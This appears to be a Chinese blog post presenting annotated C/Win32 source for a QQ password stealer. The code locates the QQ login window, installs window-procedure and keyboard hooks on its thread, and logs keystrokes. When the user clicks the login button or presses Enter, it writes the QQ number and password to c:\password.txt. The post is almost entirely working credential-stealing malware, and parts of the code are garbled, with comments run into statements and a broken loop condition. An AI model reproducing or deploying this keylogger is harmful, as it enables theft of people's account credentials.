分类: 系统运维
2009-08-19 17:54:18
//处理WM_TIMER代码
if (!IsWindow(g_hQQLogin))
//判断g_hQQLogin是否是有效的窗口句柄
{ HWND hLogin=NULL; g_hQQLogin = NULL;
SetQQHook(NULL);
//参数为NULL是卸载HOOK,参数为句柄是安装句柄
do {
//利用FindWindowEx查找QQ登陆窗口,具体参数意思请查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL);
//对话框的类都是#32770
//找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽
//这一句很关键,如果你的QQ登陆窗口上没有" 登录QQ"字样,那么获取密码将失败!
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); }
while(g_hQQLogin != NULL && hLogin == NULL);
//直到找到指定的窗口,即:QQ登陆窗口
if (g_hQQLogin != NULL) {
SetQQHook(g_hQQLogin);
//安装HOOK,此函数在DLL文件中 第二部分中介绍 }
}
BOOL WINAPI SetQQHook(HWND hQQLogin) {
//获得登陆框的句柄 BOOL bRet = FALSE;
if (hQQLogin != NULL)
{ DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL);
//这是什么意思?看MSDN
g_hNum = GetDlgItem(hQQLogin, 138);
//不同版本QQ,此处不一样! 得到QQ号的子窗口句柄
g_hPsw = GetDlgItem(hQQLogin, 180);
//不同版本QQ,此处不一样!得到QQ密码的子窗口句柄
if (g_hNum == NULL) {
MessageBox(NULL,"哭了,号码句柄都没有得到!","郁闷",0);
return FALSE; }
if(g_hPsw==NULL) { MessageBox(NULL,"哭了,密码句柄都没有得到!","郁闷",0);
return FALSE; } 分别键盘HOOK,和界面部分消息处理的HOOK
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL); }
else {
// 卸载钩子 bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hNum = NULL; }
return bRet; }
// 钩子过程,监视“登陆”的命令消息 LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) { CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕获“登陆”按钮
if (p->message == WM_COMMAND && p->wParam ==16032)
//下面个函数是我在第四部分介绍-“处理密码”部分会仔细说明
//当用户点了登陆按钮,说明QQ号码和QQ密码已经填写完毕,当然可以去获得密码了
GetPasswrod();
return CallNextHookEx(g_hProc, nCode, wParam, lParam); }
// 键盘钩子过程,监视“登陆”的热键消息 LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
// 捕获热键消息,记录键盘的按键盘过程,pmsg是PMSG类型的,i是全局Static类型的 pmsg[i].wParam =wParam;
i++;
if (wParam == VK_RETURN) //用户使用键盘“回车”来登陆,用户用了回车后,就可以可以去获得密码了
GetPasswrod();
return CallNextHookEx(g_hKey, nCode, wParam, lParam); }
void GetPasswrod() {
//声明变量和初始化 HANDLE f;
TCHAR num[13];
TCHAR psw[21];
TCHAR total[50];
int j;
memset(num,0,sizeof(num));
memset(total,0,sizeof(total));
memset(psw,0,sizeof(psw));
DWORD dw;
//得到QQ号的内容,以为有的人的QQ号是在登陆框有记录,其QQ号并是用键盘输入的
GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw));
//此句不使用,无法这样获得密码
//提取出键盘记录,此内容也许全是密码,也许是QQ号+QQ密码
for(j=0;j 20;j++) {
psw[j]=(TCHAR)pmsg[j*2].wParam ;
}
psw[j+1]='\0';
//把QQ号码和QQ密码写入C盘password.txt中
f = CreateFile("c:\\password.txt", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
strcat(total,"号码");
strcat(total,num);
strcat(total,"密码:");
strcat(total,psw); WriteFile(f,&total,sizeof(total),&dw,NULL);
CloseHandle(f); }